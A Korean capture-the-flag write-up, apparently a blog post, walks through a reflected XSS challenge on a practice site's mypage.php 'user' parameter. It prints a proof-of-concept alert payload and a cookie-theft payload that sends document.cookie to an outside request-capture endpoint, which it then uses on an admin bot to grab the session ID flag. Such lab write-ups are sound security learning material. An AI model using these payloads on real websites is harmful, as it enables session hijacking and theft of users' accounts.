Alioth02 2024. 6. 14. 16:58

문제 정보

1. XSS 포인트

 

경로 : /xss_3/mypage.php

개인정보를 확인할 수 있는 마이페이지에 접속해 보니,

GET 메서드로 "user" 파라미터를 받아

해당 데이터를 사용자의 ID 란에 출력해 주는 것을 추측할 수 있다.

"uesr" 파라미터의 임의의 값을 넣어 요청·응답 패킷을 보니,

<input> 태그의 placeholder 속성 값으로 파라미터 값이 넘어가는 것을 확인할 수 있다.

(* Reflected XSS 포인트 확인)

2. 특수문자 필터링 확인하기

"user" 파라미터를 이용해

사용 가능한 특수문자를 확인해 보니,

모든 특수문자가 사용 가능한 것을 확인했다.

3. 스크립트 삽입

xss_test"/><script>alert(1)</script><br"

사용 가능한 특수문자를 이용해

input 태그를 닫고,

POC 스크립트를 작성한 뒤,

empty 태그인 <br> 태그로 <input> 태그를 닫는 "/> 문자열을 커버하여 요청을 보내보니,

http://ctf.segfaulthub.com:4343/xss_3/mypage.php?user=xss_test"/><script>alert(1)</script><br"

악성 스크립트로 대변한 POC 스크립트가 동작하는 것을 볼 수 있다.

4. 예상 피해

  • 사용자 쿠키 탈취 : document.cookie
  • 사용자 개인정보 탈취 : keylogger
  • 악성코드 다운 & 실행
  • 피싱 사이트 강제 이동 : location.href

만약 공격자가 POC 코드 대신에

위와 같은 악성 스크립트를 작성한 다음,

해당 url을 일반 사용자에게 접근하도록 유도한다면

일반 사용자의 웹 브라우저에서 공격 스크립트가 동작해

피해가 발생할 것으로 보인다.

5. 쿠키 탈취

<script>var i = new Image(); i.scr = "공격자_서버_주소/?cookie="+document.cookie;<script>

쿠키 탈취 스크립트를 작성하고,

xss_test"/><script>var i = new Image(); i.src = "https://en88y0voes91u.x.pipedream.net/?cookie="%2Bdocument.cookie;</script><br"

작성해 둔 Reflected XSS 페이로드에서

alert 대신 쿠키 탈취 스크립트를 넣은 다음,

완성된 페이로드를 user 파라미터에 담아 get 요청을 전달하면,

서버의 응답에서 쿠키 탈취 스크립트가 정상적으로 삽입된 것을 확인할 수 있다.

http://ctf.segfaulthub.com:4343/xss_3/mypage.php?user=
xss_test"/><script>var+i+=+new+Image();i.src+=+"https://en88y0voes91u.x.pipedream.net/?cookie="%2Bdocument.cookie;</script><br"

 

완성된 URL로 접근 시,

공격자 서버에 세션 ID가 출력되는 것을 볼 수 있다.

이후 작성한 공격 URL을

관리자 봇이 접근할 수 있도록 입력해 보니,

공격자 서버에서

피해자인 관리자의 세션 ID

즉, FLAG를 얻을 수 있었다.